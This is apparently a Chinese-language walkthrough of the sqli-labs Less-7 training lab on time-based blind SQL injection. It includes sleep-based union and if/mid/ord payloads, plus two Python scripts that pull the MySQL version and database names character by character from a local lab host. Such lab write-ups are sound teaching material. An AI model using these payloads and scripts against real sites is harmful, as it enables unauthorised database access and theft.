基于时间的盲注,http://172.16.61.136/sqli-labs/Less-7/?id=1
发现怎么写都不会爆出实际的错误了,返回值是下面两个之一
- You are in….
- You have an error in your SQL syntax
经过测试,发现http://172.16.61.136/sqli-labs/Less-7/?id=1'
, id 后面添加单引号的时候会报错,双引号没问题,说明 id 是被单引号括起来的,但是http://172.16.61.136/sqli-labs/Less-7/?id=1' --+
,后面如果添加注释的话还是会报错的,说明不仅仅是被单引号括起来的,但是能加的应该只有括号了吧,之前也有这样的例子,后来发现添加两个括号就可以了。所以 sql 语句应该是类似 select * from table where id=(('$id'))
。
sql 语句中有一个 sleep 函数,一般这种不会报错的注入就要使用 sleep 了,测试一下。http://172.16.61.136/sqli-labs/Less-7/?id=1')) union select 1, 2, sleep(3) --+
是过了三秒才响应的,说明 sql 注入确实存在。
但是实际应用中,怎么利用 sleep 来获取数据呢,一般的思路就是用 sql 语句中的 if 和 mid,来逐位的判断数据。
其中,MySQL 的 if 的用法是这样的
IF(expr1,expr2,expr3)
If expr1 is TRUE (expr1 <> 0 and expr1 <> NULL) then IF() returns expr2; otherwise it returns expr3. IF() returns a numeric or string value, depending on the context in which it is used.
如果 expr1 是 TRUE,就执行 expr2,否则就执行 expr3。
然后我们就可以这样逐位的去判断结果了,比如
select * from security.users where id =1 and if(ord(mid(version(),1,1))=53, sleep(3), 1);
这种基于时间的一般请求比较多,适合用代码来处理,比如获取 version() 的例子。
# coding=utf-8
import requests
import time
url = "http://172.16.61.144/sqli-labs/Less-7/?id=1')) and if(ord(mid(version(), {position}, 1))={ord}, sleep(0.3), 1) --+"
for position in range(1, 50):
flag = False
for i in range(32, 127):
start_time = time.time()
u = url.format(position=position, ord=i)
requests.get(u)
end_time = time.time()
if end_time - start_time > 0.3:
flag = True
print chr(i),
break
if not flag:
break
其中我 sleep 了 0.3秒,因为测试环境在我的电脑上,正常访问肯定不会超过300毫秒的,但是实际情况下,要适当的加长的,防止被网速误导。
稍微改下就可以获取全部数据库了
# coding=utf-8
import requests
import time
url = "http://172.16.61.144/sqli-labs/Less-7/?id=1')) and if(ord(mid((select schema_name from information_schema.schemata limit 1 offset {offset}), {position}, 1))={ord}, sleep(0.3), 1) --+"
for offset in range(10):
for position in range(1, 50):
flag2 = False
for i in range(32, 127):
start_time = time.time()
u = url.format(offset=offset, position=position, ord=i)
requests.get(u)
end_time = time.time()
if end_time - start_time > 0.3:
flag2 = True
print chr(i),
break
if not flag2:
break
print
这段代码没加 flag 控制,数据库还多的话,自己加一下 range。
然后同理可以获取到数据库的表和表的字段和具体的内容。